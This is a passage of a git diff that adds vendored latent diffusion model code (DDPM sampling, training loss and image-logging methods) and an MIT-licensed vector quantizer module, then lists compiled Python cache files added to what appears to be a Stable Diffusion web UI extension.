def forward(self, x, c, *args, **kwargs): + t = torch.randint(0, self.num_timesteps, (x.shape[0],), device=self.device).long() + if self.model.conditioning_key is not None: + assert c is not None + if self.cond_stage_trainable: + c = self.get_learned_conditioning(c) + if self.shorten_cond_schedule: # TODO: drop this option + tc = self.cond_ids[t].to(self.device) + c = self.q_sample(x_start=c, t=tc, noise=torch.randn_like(c.float())) + return self.p_losses(x, c, t, *args, **kwargs) + + def apply_model(self, x_noisy, t, cond, return_ids=False): + + if isinstance(cond, dict): + # hybrid case, cond is exptected to be a dict + pass + else: + if not isinstance(cond, list): + cond = [cond] + key = 'c_concat' if self.model.conditioning_key == 'concat' else 'c_crossattn' + cond = {key: cond} + + if hasattr(self, "split_input_params"): + assert len(cond) == 1 # todo can only deal with one conditioning atm + assert not return_ids + ks = self.split_input_params["ks"] # eg. (128, 128) + stride = self.split_input_params["stride"] # eg. (64, 64) + + h, w = x_noisy.shape[-2:] + + fold, unfold, normalization, weighting = self.get_fold_unfold(x_noisy, ks, stride) + + z = unfold(x_noisy) # (bn, nc * prod(**ks), L) + # Reshape to img shape + z = z.view((z.shape[0], -1, ks[0], ks[1], z.shape[-1])) # (bn, nc, ks[0], ks[1], L ) + z_list = [z[:, :, :, :, i] for i in range(z.shape[-1])] + + if self.cond_stage_key in ["image", "LR_image", "segmentation", + 'bbox_img'] and self.model.conditioning_key: # todo check for completeness + c_key = next(iter(cond.keys())) # get key + c = next(iter(cond.values())) # get value + assert (len(c) == 1) # todo extend to list with more than one elem + c = c[0] # get element + + c = unfold(c) + c = c.view((c.shape[0], -1, ks[0], ks[1], c.shape[-1])) # (bn, nc, ks[0], ks[1], L ) + + cond_list = [{c_key: [c[:, :, :, :, i]]} for i in range(c.shape[-1])] + + elif self.cond_stage_key == 'coordinates_bbox': + assert 'original_image_size' in self.split_input_params, 'BoudingBoxRescaling is missing original_image_size' + + # assuming padding of unfold is always 0 and its dilation is always 1 + n_patches_per_row = int((w - ks[0]) / stride[0] + 1) + full_img_h, full_img_w = self.split_input_params['original_image_size'] + # as we are operating on latents, we need the factor from the original image size to the + # spatial latent size to properly rescale the crops for regenerating the bbox annotations + num_downs = self.first_stage_model.encoder.num_resolutions - 1 + rescale_latent = 2 ** (num_downs) + + # get top left postions of patches as conforming for the bbbox tokenizer, therefore we + # need to rescale the tl patch coordinates to be in between (0,1) + tl_patch_coordinates = [(rescale_latent * stride[0] * (patch_nr % n_patches_per_row) / full_img_w, + rescale_latent * stride[1] * (patch_nr // n_patches_per_row) / full_img_h) + for patch_nr in range(z.shape[-1])] + + # patch_limits are tl_coord, width and height coordinates as (x_tl, y_tl, h, w) + patch_limits = [(x_tl, y_tl, + rescale_latent * ks[0] / full_img_w, + rescale_latent * ks[1] / full_img_h) for x_tl, y_tl in tl_patch_coordinates] + # patch_values = [(np.arange(x_tl,min(x_tl+ks, 1.)),np.arange(y_tl,min(y_tl+ks, 1.))) for x_tl, y_tl in tl_patch_coordinates] + + # tokenize crop coordinates for the bounding boxes of the respective patches + patch_limits_tknzd = [torch.LongTensor(self.bbox_tokenizer._crop_encoder(bbox))[None].to(self.device) + for bbox in patch_limits] # list of length l with tensors of shape (1, 2) + print(patch_limits_tknzd[0].shape) + # cut tknzd crop position from conditioning + assert isinstance(cond, dict), 'cond must be dict to be fed into model' + cut_cond = cond['c_crossattn'][0][..., :-2].to(self.device) + print(cut_cond.shape) + + adapted_cond = torch.stack([torch.cat([cut_cond, p], dim=1) for p in patch_limits_tknzd]) + adapted_cond = rearrange(adapted_cond, 'l b n -> (l b) n') + print(adapted_cond.shape) + adapted_cond = self.get_learned_conditioning(adapted_cond) + print(adapted_cond.shape) + adapted_cond = rearrange(adapted_cond, '(l b) n d -> l b n d', l=z.shape[-1]) + print(adapted_cond.shape) + + cond_list = [{'c_crossattn': [e]} for e in adapted_cond] + + else: + cond_list = [cond for i in range(z.shape[-1])] # Todo make this more efficient + + # apply model by loop over crops + output_list = [self.model(z_list[i], t, **cond_list[i]) for i in range(z.shape[-1])] + assert not isinstance(output_list[0], + tuple) # todo cant deal with multiple model outputs check this never happens + + o = torch.stack(output_list, axis=-1) + o = o * weighting + # Reverse reshape to img shape + o = o.view((o.shape[0], -1, o.shape[-1])) # (bn, nc * ks[0] * ks[1], L) + # stitch crops together + x_recon = fold(o) / normalization + + else: + x_recon = self.model(x_noisy, t, **cond) + + if isinstance(x_recon, tuple) and not return_ids: + return x_recon[0] + else: + return x_recon + + def _predict_eps_from_xstart(self, x_t, t, pred_xstart): + return (extract_into_tensor(self.sqrt_recip_alphas_cumprod, t, x_t.shape) * x_t - pred_xstart) / \ + extract_into_tensor(self.sqrt_recipm1_alphas_cumprod, t, x_t.shape) + + def _prior_bpd(self, x_start): + """ + Get the prior KL term for the variational lower-bound, measured in + bits-per-dim. + This term can't be optimized, as it only depends on the encoder. + :param x_start: the [N x C x ...] tensor of inputs. + :return: a batch of [N] KL values (in bits), one per batch element. + """ + batch_size = x_start.shape[0] + t = torch.tensor([self.num_timesteps - 1] * batch_size, device=x_start.device) + qt_mean, _, qt_log_variance = self.q_mean_variance(x_start, t) + kl_prior = normal_kl(mean1=qt_mean, logvar1=qt_log_variance, mean2=0.0, logvar2=0.0) + return mean_flat(kl_prior) / np.log(2.0) + + def p_losses(self, x_start, cond, t, noise=None): + noise = default(noise, lambda: torch.randn_like(x_start)) + x_noisy = self.q_sample(x_start=x_start, t=t, noise=noise) + model_output = self.apply_model(x_noisy, t, cond) + + loss_dict = {} + prefix = 'train' if self.training else 'val' + + if self.parameterization == "x0": + target = x_start + elif self.parameterization == "eps": + target = noise + else: + raise NotImplementedError() + + loss_simple = self.get_loss(model_output, target, mean=False).mean([1, 2, 3]) + loss_dict.update({f'{prefix}/loss_simple': loss_simple.mean()}) + + logvar_t = self.logvar[t].to(self.device) + loss = loss_simple / torch.exp(logvar_t) + logvar_t + # loss = loss_simple / torch.exp(self.logvar) + self.logvar + if self.learn_logvar: + loss_dict.update({f'{prefix}/loss_gamma': loss.mean()}) + loss_dict.update({'logvar': self.logvar.data.mean()}) + + loss = self.l_simple_weight * loss.mean() + + loss_vlb = self.get_loss(model_output, target, mean=False).mean(dim=(1, 2, 3)) + loss_vlb = (self.lvlb_weights[t] * loss_vlb).mean() + loss_dict.update({f'{prefix}/loss_vlb': loss_vlb}) + loss += (self.original_elbo_weight * loss_vlb) + loss_dict.update({f'{prefix}/loss': loss}) + + return loss, loss_dict + + def p_mean_variance(self, x, c, t, clip_denoised: bool, return_codebook_ids=False, quantize_denoised=False, + return_x0=False, score_corrector=None, corrector_kwargs=None): + t_in = t + model_out = self.apply_model(x, t_in, c, return_ids=return_codebook_ids) + + if score_corrector is not None: + assert self.parameterization == "eps" + model_out = score_corrector.modify_score(self, model_out, x, t, c, **corrector_kwargs) + + if return_codebook_ids: + model_out, logits = model_out + + if self.parameterization == "eps": + x_recon = self.predict_start_from_noise(x, t=t, noise=model_out) + elif self.parameterization == "x0": + x_recon = model_out + else: + raise NotImplementedError() + + if clip_denoised: + x_recon.clamp_(-1., 1.) + if quantize_denoised: + x_recon, _, [_, _, indices] = self.first_stage_model.quantize(x_recon) + model_mean, posterior_variance, posterior_log_variance = self.q_posterior(x_start=x_recon, x_t=x, t=t) + if return_codebook_ids: + return model_mean, posterior_variance, posterior_log_variance, logits + elif return_x0: + return model_mean, posterior_variance, posterior_log_variance, x_recon + else: + return model_mean, posterior_variance, posterior_log_variance + + @torch.no_grad() + def p_sample(self, x, c, t, clip_denoised=False, repeat_noise=False, + return_codebook_ids=False, quantize_denoised=False, return_x0=False, + temperature=1., noise_dropout=0., score_corrector=None, corrector_kwargs=None): + b, *_, device = *x.shape, x.device + outputs = self.p_mean_variance(x=x, c=c, t=t, clip_denoised=clip_denoised, + return_codebook_ids=return_codebook_ids, + quantize_denoised=quantize_denoised, + return_x0=return_x0, + score_corrector=score_corrector, corrector_kwargs=corrector_kwargs) + if return_codebook_ids: + raise DeprecationWarning("Support dropped.") + model_mean, _, model_log_variance, logits = outputs + elif return_x0: + model_mean, _, model_log_variance, x0 = outputs + else: + model_mean, _, model_log_variance = outputs + + noise = noise_like(x.shape, device, repeat_noise) * temperature + if noise_dropout > 0.: + noise = torch.nn.functional.dropout(noise, p=noise_dropout) + # no noise when t == 0 + nonzero_mask = (1 - (t == 0).float()).reshape(b, *((1,) * (len(x.shape) - 1))) + + if return_codebook_ids: + return model_mean + nonzero_mask * (0.5 * model_log_variance).exp() * noise, logits.argmax(dim=1) + if return_x0: + return model_mean + nonzero_mask * (0.5 * model_log_variance).exp() * noise, x0 + else: + return model_mean + nonzero_mask * (0.5 * model_log_variance).exp() * noise + + @torch.no_grad() + def progressive_denoising(self, cond, shape, verbose=True, callback=None, quantize_denoised=False, + img_callback=None, mask=None, x0=None, temperature=1., noise_dropout=0., + score_corrector=None, corrector_kwargs=None, batch_size=None, x_T=None, start_T=None, + log_every_t=None): + if not log_every_t: + log_every_t = self.log_every_t + timesteps = self.num_timesteps + if batch_size is not None: + b = batch_size if batch_size is not None else shape[0] + shape = [batch_size] + list(shape) + else: + b = batch_size = shape[0] + if x_T is None: + img = torch.randn(shape, device=self.device) + else: + img = x_T + intermediates = [] + if cond is not None: + if isinstance(cond, dict): + cond = {key: cond[key][:batch_size] if not isinstance(cond[key], list) else + [x[:batch_size] for x in cond[key]] for key in cond} + else: + cond = [c[:batch_size] for c in cond] if isinstance(cond, list) else cond[:batch_size] + + if start_T is not None: + timesteps = min(timesteps, start_T) + iterator = tqdm(reversed(range(0, timesteps)), desc='Progressive Generation', + total=timesteps) if verbose else reversed( + range(0, timesteps)) + if type(temperature) == float: + temperature = [temperature] * timesteps + + for i in iterator: + ts = torch.full((b,), i, device=self.device, dtype=torch.long) + if self.shorten_cond_schedule: + assert self.model.conditioning_key != 'hybrid' + tc = self.cond_ids[ts].to(cond.device) + cond = self.q_sample(x_start=cond, t=tc, noise=torch.randn_like(cond)) + + img, x0_partial = self.p_sample(img, cond, ts, + clip_denoised=self.clip_denoised, + quantize_denoised=quantize_denoised, return_x0=True, + temperature=temperature[i], noise_dropout=noise_dropout, + score_corrector=score_corrector, corrector_kwargs=corrector_kwargs) + if mask is not None: + assert x0 is not None + img_orig = self.q_sample(x0, ts) + img = img_orig * mask + (1. - mask) * img + + if i % log_every_t == 0 or i == timesteps - 1: + intermediates.append(x0_partial) + if callback: + callback(i) + if img_callback: + img_callback(img, i) + return img, intermediates + + @torch.no_grad() + def p_sample_loop(self, cond, shape, return_intermediates=False, + x_T=None, verbose=True, callback=None, timesteps=None, quantize_denoised=False, + mask=None, x0=None, img_callback=None, start_T=None, + log_every_t=None): + + if not log_every_t: + log_every_t = self.log_every_t + device = self.betas.device + b = shape[0] + if x_T is None: + img = torch.randn(shape, device=device) + else: + img = x_T + + intermediates = [img] + if timesteps is None: + timesteps = self.num_timesteps + + if start_T is not None: + timesteps = min(timesteps, start_T) + iterator = tqdm(reversed(range(0, timesteps)), desc='Sampling t', total=timesteps) if verbose else reversed( + range(0, timesteps)) + + if mask is not None: + assert x0 is not None + assert x0.shape[2:3] == mask.shape[2:3] # spatial size has to match + + for i in iterator: + ts = torch.full((b,), i, device=device, dtype=torch.long) + if self.shorten_cond_schedule: + assert self.model.conditioning_key != 'hybrid' + tc = self.cond_ids[ts].to(cond.device) + cond = self.q_sample(x_start=cond, t=tc, noise=torch.randn_like(cond)) + + img = self.p_sample(img, cond, ts, + clip_denoised=self.clip_denoised, + quantize_denoised=quantize_denoised) + if mask is not None: + img_orig = self.q_sample(x0, ts) + img = img_orig * mask + (1. - mask) * img + + if i % log_every_t == 0 or i == timesteps - 1: + intermediates.append(img) + if callback: + callback(i) + if img_callback: + img_callback(img, i) + + if return_intermediates: + return img, intermediates + return img + + @torch.no_grad() + def sample(self, cond, batch_size=16, return_intermediates=False, x_T=None, + verbose=True, timesteps=None, quantize_denoised=False, + mask=None, x0=None, shape=None,**kwargs): + if shape is None: + shape = (batch_size, self.channels, self.image_size, self.image_size) + if cond is not None: + if isinstance(cond, dict): + cond = {key: cond[key][:batch_size] if not isinstance(cond[key], list) else + [x[:batch_size] for x in cond[key]] for key in cond} + else: + cond = [c[:batch_size] for c in cond] if isinstance(cond, list) else cond[:batch_size] + return self.p_sample_loop(cond, + shape, + return_intermediates=return_intermediates, x_T=x_T, + verbose=verbose, timesteps=timesteps, quantize_denoised=quantize_denoised, + mask=mask, x0=x0) + + @torch.no_grad() + def sample_log(self,cond,batch_size,ddim, ddim_steps,**kwargs): + + if ddim: + ddim_sampler = DDIMSampler(self) + shape = (self.channels, self.image_size, self.image_size) + samples, intermediates =ddim_sampler.sample(ddim_steps,batch_size, + shape,cond,verbose=False,**kwargs) + + else: + samples, intermediates = self.sample(cond=cond, batch_size=batch_size, + return_intermediates=True,**kwargs) + + return samples, intermediates + + + @torch.no_grad() + def log_images(self, batch, N=8, n_row=4, sample=True, ddim_steps=200, ddim_eta=1., return_keys=None, + quantize_denoised=True, inpaint=True, plot_denoise_rows=False, plot_progressive_rows=True, + plot_diffusion_rows=True, **kwargs): + + use_ddim = ddim_steps is not None + + log = {} + z, c, x, xrec, xc = self.get_input(batch, self.first_stage_key, + return_first_stage_outputs=True, + force_c_encode=True, + return_original_cond=True, + bs=N) + N = min(x.shape[0], N) + n_row = min(x.shape[0], n_row) + log["inputs"] = x + log["reconstruction"] = xrec + if self.model.conditioning_key is not None: + if hasattr(self.cond_stage_model, "decode"): + xc = self.cond_stage_model.decode(c) + log["conditioning"] = xc + elif self.cond_stage_key in ["caption"]: + xc = log_txt_as_img((x.shape[2], x.shape[3]), batch["caption"]) + log["conditioning"] = xc + elif self.cond_stage_key == 'class_label': + xc = log_txt_as_img((x.shape[2], x.shape[3]), batch["human_label"]) + log['conditioning'] = xc + elif isimage(xc): + log["conditioning"] = xc + if ismap(xc): + log["original_conditioning"] = self.to_rgb(xc) + + if plot_diffusion_rows: + # get diffusion row + diffusion_row = [] + z_start = z[:n_row] + for t in range(self.num_timesteps): + if t % self.log_every_t == 0 or t == self.num_timesteps - 1: + t = repeat(torch.tensor([t]), '1 -> b', b=n_row) + t = t.to(self.device).long() + noise = torch.randn_like(z_start) + z_noisy = self.q_sample(x_start=z_start, t=t, noise=noise) + diffusion_row.append(self.decode_first_stage(z_noisy)) + + diffusion_row = torch.stack(diffusion_row) # n_log_step, n_row, C, H, W + diffusion_grid = rearrange(diffusion_row, 'n b c h w -> b n c h w') + diffusion_grid = rearrange(diffusion_grid, 'b n c h w -> (b n) c h w') + diffusion_grid = make_grid(diffusion_grid, nrow=diffusion_row.shape[0]) + log["diffusion_row"] = diffusion_grid + + if sample: + # get denoise row + with self.ema_scope("Plotting"): + samples, z_denoise_row = self.sample_log(cond=c,batch_size=N,ddim=use_ddim, + ddim_steps=ddim_steps,eta=ddim_eta) + # samples, z_denoise_row = self.sample(cond=c, batch_size=N, return_intermediates=True) + x_samples = self.decode_first_stage(samples) + log["samples"] = x_samples + if plot_denoise_rows: + denoise_grid = self._get_denoise_row_from_list(z_denoise_row) + log["denoise_row"] = denoise_grid + + if quantize_denoised and not isinstance(self.first_stage_model, AutoencoderKL) and not isinstance( + self.first_stage_model, IdentityFirstStage): + # also display when quantizing x0 while sampling + with self.ema_scope("Plotting Quantized Denoised"): + samples, z_denoise_row = self.sample_log(cond=c,batch_size=N,ddim=use_ddim, + ddim_steps=ddim_steps,eta=ddim_eta, + quantize_denoised=True) + # samples, z_denoise_row = self.sample(cond=c, batch_size=N, return_intermediates=True, + # quantize_denoised=True) + x_samples = self.decode_first_stage(samples.to(self.device)) + log["samples_x0_quantized"] = x_samples + + if inpaint: + # make a simple center square + h, w = z.shape[2], z.shape[3] + mask = torch.ones(N, h, w).to(self.device) + # zeros will be filled in + mask[:, h // 4:3 * h // 4, w // 4:3 * w // 4] = 0. + mask = mask[:, None, ...] + with self.ema_scope("Plotting Inpaint"): + + samples, _ = self.sample_log(cond=c,batch_size=N,ddim=use_ddim, eta=ddim_eta, + ddim_steps=ddim_steps, x0=z[:N], mask=mask) + x_samples = self.decode_first_stage(samples.to(self.device)) + log["samples_inpainting"] = x_samples + log["mask"] = mask + + # outpaint + with self.ema_scope("Plotting Outpaint"): + samples, _ = self.sample_log(cond=c, batch_size=N, ddim=use_ddim,eta=ddim_eta, + ddim_steps=ddim_steps, x0=z[:N], mask=mask) + x_samples = self.decode_first_stage(samples.to(self.device)) + log["samples_outpainting"] = x_samples + + if plot_progressive_rows: + with self.ema_scope("Plotting Progressives"): + img, progressives = self.progressive_denoising(c, + shape=(self.channels, self.image_size, self.image_size), + batch_size=N) + prog_row = self._get_denoise_row_from_list(progressives, desc="Progressive Generation") + log["progressive_row"] = prog_row + + if return_keys: + if np.intersect1d(list(log.keys()), return_keys).shape[0] == 0: + return log + else: + return {key: log[key] for key in return_keys} + return log + + def configure_optimizers(self): + lr = self.learning_rate + params = list(self.model.parameters()) + if self.cond_stage_trainable: + print(f"{self.__class__.__name__}: Also optimizing conditioner params!") + params = params + list(self.cond_stage_model.parameters()) + if self.learn_logvar: + print('Diffusion model optimizing logvar') + params.append(self.logvar) + opt = torch.optim.AdamW(params, lr=lr) + if self.use_scheduler: + assert 'target' in self.scheduler_config + scheduler = instantiate_from_config(self.scheduler_config) + + print("Setting up LambdaLR scheduler...") + scheduler = [ + { + 'scheduler': LambdaLR(opt, lr_lambda=scheduler.schedule), + 'interval': 'step', + 'frequency': 1 + }] + return [opt], scheduler + return opt + + @torch.no_grad() + def to_rgb(self, x): + x = x.float() + if not hasattr(self, "colorize"): + self.colorize = torch.randn(3, x.shape[1], 1, 1).to(x) + x = nn.functional.conv2d(x, weight=self.colorize) + x = 2. * (x - x.min()) / (x.max() - x.min()) - 1. + return x + + +class DiffusionWrapperV1(pl.LightningModule): + def __init__(self, diff_model_config, conditioning_key): + super().__init__() + self.diffusion_model = instantiate_from_config(diff_model_config) + self.conditioning_key = conditioning_key + assert self.conditioning_key in [None, 'concat', 'crossattn', 'hybrid', 'adm'] + + def forward(self, x, t, c_concat: list = None, c_crossattn: list = None): + if self.conditioning_key is None: + out = self.diffusion_model(x, t) + elif self.conditioning_key == 'concat': + xc = torch.cat([x] + c_concat, dim=1) + out = self.diffusion_model(xc, t) + elif self.conditioning_key == 'crossattn': + cc = torch.cat(c_crossattn, 1) + out = self.diffusion_model(x, t, context=cc) + elif self.conditioning_key == 'hybrid': + xc = torch.cat([x] + c_concat, dim=1) + cc = torch.cat(c_crossattn, 1) + out = self.diffusion_model(xc, t, context=cc) + elif self.conditioning_key == 'adm': + cc = c_crossattn[0] + out = self.diffusion_model(x, t, y=cc) + else: + raise NotImplementedError() + + return out + + +class Layout2ImgDiffusionV1(LatentDiffusionV1): + # TODO: move all layout-specific hacks to this class + def __init__(self, cond_stage_key, *args, **kwargs): + assert cond_stage_key == 'coordinates_bbox', 'Layout2ImgDiffusion only for cond_stage_key="coordinates_bbox"' + super().__init__(*args, cond_stage_key=cond_stage_key, **kwargs) + + def log_images(self, batch, N=8, *args, **kwargs): + logs = super().log_images(*args, batch=batch, N=N, **kwargs) + + key = 'train' if self.training else 'validation' + dset = self.trainer.datamodule.datasets[key] + mapper = dset.conditional_builders[self.cond_stage_key] + + bbox_imgs = [] + map_fn = lambda catno: dset.get_textual_label(dset.get_category_id(catno)) + for tknzd_bbox in batch[self.cond_stage_key][:N]: + bboximg = mapper.plot(tknzd_bbox.detach().cpu(), map_fn, (256, 256)) + bbox_imgs.append(bboximg) + + cond_img = torch.stack(bbox_imgs, dim=0) + logs['bbox_image'] = cond_img + return logs + +ldm.models.diffusion.ddpm.DDPMV1 = DDPMV1 +ldm.models.diffusion.ddpm.LatentDiffusionV1 = LatentDiffusionV1 +ldm.models.diffusion.ddpm.DiffusionWrapperV1 = DiffusionWrapperV1 +ldm.models.diffusion.ddpm.Layout2ImgDiffusionV1 = Layout2ImgDiffusionV1 diff --git a/extensions-builtin/LDSR/vqvae_quantize.py b/extensions-builtin/LDSR/vqvae_quantize.py new file mode 100644 index 0000000000000000000000000000000000000000..dd14b8fda5ce25a8cea8b70eb1d387b9c46c80d8 --- /dev/null +++ b/extensions-builtin/LDSR/vqvae_quantize.py @@ -0,0 +1,147 @@ +# Vendored from https://raw.githubusercontent.com/CompVis/taming-transformers/24268930bf1dce879235a7fddd0b2355b84d7ea6/taming/modules/vqvae/quantize.py, +# where the license is as follows: +# +# Copyright (c) 2020 Patrick Esser and Robin Rombach and Björn Ommer +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, +# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR +# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE +# OR OTHER DEALINGS IN THE SOFTWARE./ + +import torch +import torch.nn as nn +import numpy as np +from einops import rearrange + + +class VectorQuantizer2(nn.Module): + """ + Improved version over VectorQuantizer, can be used as a drop-in replacement. Mostly + avoids costly matrix multiplications and allows for post-hoc remapping of indices. + """ + + # NOTE: due to a bug the beta term was applied to the wrong term. for + # backwards compatibility we use the buggy version by default, but you can + # specify legacy=False to fix it. + def __init__(self, n_e, e_dim, beta, remap=None, unknown_index="random", + sane_index_shape=False, legacy=True): + super().__init__() + self.n_e = n_e + self.e_dim = e_dim + self.beta = beta + self.legacy = legacy + + self.embedding = nn.Embedding(self.n_e, self.e_dim) + self.embedding.weight.data.uniform_(-1.0 / self.n_e, 1.0 / self.n_e) + + self.remap = remap + if self.remap is not None: + self.register_buffer("used", torch.tensor(np.load(self.remap))) + self.re_embed = self.used.shape[0] + self.unknown_index = unknown_index # "random" or "extra" or integer + if self.unknown_index == "extra": + self.unknown_index = self.re_embed + self.re_embed = self.re_embed + 1 + print(f"Remapping {self.n_e} indices to {self.re_embed} indices. " + f"Using {self.unknown_index} for unknown indices.") + else: + self.re_embed = n_e + + self.sane_index_shape = sane_index_shape + + def remap_to_used(self, inds): + ishape = inds.shape + assert len(ishape) > 1 + inds = inds.reshape(ishape[0], -1) + used = self.used.to(inds) + match = (inds[:, :, None] == used[None, None, ...]).long() + new = match.argmax(-1) + unknown = match.sum(2) < 1 + if self.unknown_index == "random": + new[unknown] = torch.randint(0, self.re_embed, size=new[unknown].shape).to(device=new.device) + else: + new[unknown] = self.unknown_index + return new.reshape(ishape) + + def unmap_to_all(self, inds): + ishape = inds.shape + assert len(ishape) > 1 + inds = inds.reshape(ishape[0], -1) + used = self.used.to(inds) + if self.re_embed > self.used.shape[0]: # extra token + inds[inds >= self.used.shape[0]] = 0 # simply set to zero + back = torch.gather(used[None, :][inds.shape[0] * [0], :], 1, inds) + return back.reshape(ishape) + + def forward(self, z, temp=None, rescale_logits=False, return_logits=False): + assert temp is None or temp == 1.0, "Only for interface compatible with Gumbel" + assert rescale_logits is False, "Only for interface compatible with Gumbel" + assert return_logits is False, "Only for interface compatible with Gumbel" + # reshape z -> (batch, height, width, channel) and flatten + z = rearrange(z, 'b c h w -> b h w c').contiguous() + z_flattened = z.view(-1, self.e_dim) + # distances from z to embeddings e_j (z - e)^2 = z^2 + e^2 - 2 e * z + + d = torch.sum(z_flattened ** 2, dim=1, keepdim=True) + \ + torch.sum(self.embedding.weight ** 2, dim=1) - 2 * \ + torch.einsum('bd,dn->bn', z_flattened, rearrange(self.embedding.weight, 'n d -> d n')) + + min_encoding_indices = torch.argmin(d, dim=1) + z_q = self.embedding(min_encoding_indices).view(z.shape) + perplexity = None + min_encodings = None + + # compute loss for embedding + if not self.legacy: + loss = self.beta * torch.mean((z_q.detach() - z) ** 2) + \ + torch.mean((z_q - z.detach()) ** 2) + else: + loss = torch.mean((z_q.detach() - z) ** 2) + self.beta * \ + torch.mean((z_q - z.detach()) ** 2) + + # preserve gradients + z_q = z + (z_q - z).detach() + + # reshape back to match original input shape + z_q = rearrange(z_q, 'b h w c -> b c h w').contiguous() + + if self.remap is not None: + min_encoding_indices = min_encoding_indices.reshape(z.shape[0], -1) # add batch axis + min_encoding_indices = self.remap_to_used(min_encoding_indices) + min_encoding_indices = min_encoding_indices.reshape(-1, 1) # flatten + + if self.sane_index_shape: + min_encoding_indices = min_encoding_indices.reshape( + z_q.shape[0], z_q.shape[2], z_q.shape[3]) + + return z_q, loss, (perplexity, min_encodings, min_encoding_indices) + + def get_codebook_entry(self, indices, shape): + # shape specifying (batch, height, width, channel) + if self.remap is not None: + indices = indices.reshape(shape[0], -1) # add batch axis + indices = self.unmap_to_all(indices) + indices = indices.reshape(-1) # flatten again + + # get quantized latent vectors + z_q = self.embedding(indices) + + if shape is not None: + z_q = z_q.view(shape) + # reshape back to match original input shape + z_q = z_q.permute(0, 3, 1, 2).contiguous() + + return z_q diff --git a/extensions-builtin/Lora/__pycache__/extra_networks_lora.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/extra_networks_lora.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b89f0d1ac092ac8f010de8c9195e608c52fdb544 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/extra_networks_lora.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/lora.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/lora.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..85073d0e96a6f9a287ba15bc43564fe15c6ef1b4 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/lora.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/lora_patches.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/lora_patches.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..36fcfafe6a9f96c98377b93aaa16fabf608c8fc0 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/lora_patches.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/lyco_helpers.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/lyco_helpers.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b30e13cd599a5a2f7e4444dd776ee0e31ca53bbd Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/lyco_helpers.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7cf632d2c395ea6aee1500ee2c5ae48d7695c426 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_full.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_full.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..884afd30acbe03ca9527395ccc92ff35df7108eb Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_full.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_hada.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_hada.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..19d57687cf02869c021898e766dcc32c42f1f2f2 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_hada.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_ia3.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_ia3.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..04aec8bb7f7488f70a23f1b57122b22d950b35f7 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_ia3.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_lokr.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_lokr.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b7c22e623d4e678d538907dc6a04ac5f0ff2557c Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_lokr.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_lora.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_lora.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e08f546670310f2ab6f6612ab5432bb2e211d10f Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_lora.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/network_norm.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/network_norm.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5242ce392538de804fbb5a8b63bc527952158641 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/network_norm.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/networks.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/networks.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..163a2e4e59329fb2a5b5365e3133198d39780661 Binary files /dev/null and b/extensions-builtin/Lora/__pycache__/networks.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/__pycache__/preload.cpython-39.pyc b/extensions-builtin/Lora/__pycache__/preload.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a7eb3b748e3af53c95a558ccfabd35364130a464 Binary files /dev/null and 